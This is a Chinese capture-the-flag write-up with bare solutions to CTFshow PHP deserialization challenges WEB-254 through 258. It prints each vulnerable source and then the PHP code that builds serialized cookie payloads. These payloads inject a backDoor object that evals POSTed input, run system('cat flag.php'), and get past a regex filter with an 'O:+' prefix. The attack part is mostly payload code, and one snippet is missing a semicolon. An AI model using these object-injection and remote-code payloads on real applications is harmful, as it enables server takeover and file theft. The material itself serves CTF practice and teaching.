CTFSHOW-PHP反序列化

(Updated: )
web › 题解
,

纯题解 无解析 知识点请看这里

WEB-254

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<?php
include('flag.php');
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

这题跟反序列化没什么关系

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username=xxxxxx&password=xxxxxx

WEB-255

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<?php
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

构造

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class ctfShowUser{
    public $isVip=false;
}
$a = new ctfShowUser();
$a->isVip=true;
$m = serialize($a);
echo urlencode($m);
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Cookie user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
GET username=xxxxxx&password=xxxxxx

WEB-256

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<?php
include('flag.php');
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

多加了个$this->username!==$this->password的判断 改一下username的值即可

构造

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class ctfShowUser{
    public $isVip=false;
}
$a = new ctfShowUser();
$a->username='xxx'
$a->isVip=true;
$m = serialize($a);
echo urlencode($m);
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Cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A3%3A%22xxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
GET username=xxx&password=xxxxxx

WEB-257

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class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

构造

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<?php
class ctfShowUser{
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    private $code="eval(\$_POST[1]);";
}

$a = new ctfshowUser();
$m = serialize($a);
echo urlencode($m);
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Cookie: user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A16%3A%22eval%28%24_POST%5B1%5D%29%3B%22%3B%7D%7D
POST 1=system('tac+flag.php');
GET username=xxxxxx&password=xxxxxx

WEB-258

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<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}
class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

username和password参数随便传，没有影响

/[oc]:\d+:/i的正则使用+绕过即可

构造代码:

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<?php
class ctfShowUser{
    public $class;
    public function __construct(){
        $this->class=new backDoor();
        $this->class->code='eval($_POST[1]);';
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}
$a = new ctfShowUser();
$m = serialize($a);
$m = str_replace('O:','O:+',$m);
echo urlencode($m);
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Cookie: user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A16%3A%22eval%28%24_POST%5B1%5D%29%3B%22%3B%7D%7D
GET username=1&password=2
POST 1=system('cat+flag.php');